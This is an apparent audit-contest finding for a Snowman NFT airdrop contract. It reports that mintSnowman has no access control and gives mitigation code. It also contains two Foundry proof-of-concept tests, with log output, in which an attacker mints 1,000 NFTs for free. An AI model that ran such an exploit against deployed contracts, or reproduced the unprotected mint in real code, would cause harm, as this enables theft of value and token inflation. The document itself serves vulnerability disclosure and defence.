Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

`Snowman::mintSnowman` has no access control — anyone can mint unlimited Snowman NFTs

Description

Snowman NFTs are intended to be minted only by the SnowmanAirdrop contract, and only for users who have staked Snow tokens through the airdrop. mintSnowman is the single source of new Snowman NFTs, so it must be callable exclusively by that authorized contract.

Instead, in Snowman.sol the mintSnowman function is declared external with no access control at all — no onlyOwner, no onlyAirdrop, no caller check. The SM__NotAllowed() error is even defined but never used. Any arbitrary address can therefore call mintSnowman directly and mint as many Snowman NFTs as it wants, to any address, without staking a single Snow token and without any Merkle proof.

// Snowman.sol
function mintSnowman(address receiver, uint256 amount) external { // @> no access control
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood: High

  • The function is permissionless and reachable by anyone in a single external call — no special role, timing, or protocol state is required.

  • There is an immediate economic incentive (free, unlimited NFTs), so it will be exploited the moment the contract is live.

Impact: High

  • The entire airdrop/staking design is bypassed: an attacker mints unlimited Snowman NFTs for free without ever holding or staking Snow.

  • NFT scarcity and the value of every honestly-earned Snowman are destroyed, and the core protocol invariant ("a Snowman is only obtainable by staking Snow via the airdrop") no longer holds.

Proof of Concept

The following Foundry test shows an attacker who holds zero Snow, is not in the Merkle tree, and supplies no proof, yet still mints 1,000 Snowman NFTs by calling mintSnowman directly:

function test_anyoneCanMintUnlimitedSnowman() public {
address attacker = makeAddr("attacker");
​
// Preconditions: attacker owns no Snow and has no airdrop allocation
assertEq(snow.balanceOf(attacker), 0);
assertEq(snowman.balanceOf(attacker), 0);
​
// Attack: call the unprotected mint directly
vm.prank(attacker);
snowman.mintSnowman(attacker, 1000);
​
// Result: attacker now owns 1000 Snowman NFTs, entirely for free
assertEq(snowman.balanceOf(attacker), 1000);
}

Running forge test --mt test_anyoneCanMintUnlimitedSnowman passes, confirming any address can mint arbitrary quantities of Snowman NFTs while completely bypassing the airdrop.

Recommended Mitigation

Restrict mintSnowman to the SnowmanAirdrop contract — the only legitimate minter — by recording the airdrop address at deployment and gating the function with the already-defined SM__NotAllowed() error:

address private immutable i_airdrop;
​
constructor(string memory _SnowmanSvgUri, address _airdrop)
ERC721("Snowman Airdrop", "SNOWMAN")
Ownable(msg.sender)
{
i_airdrop = _airdrop; // @> set the authorized minter
s_TokenCounter = 0;
s_SnowmanSvgUri = _SnowmanSvgUri;
}
​
function mintSnowman(address receiver, uint256 amount) external {
if (msg.sender != i_airdrop) revert SM__NotAllowed(); // @> only the airdrop may mint
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 7 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = ""; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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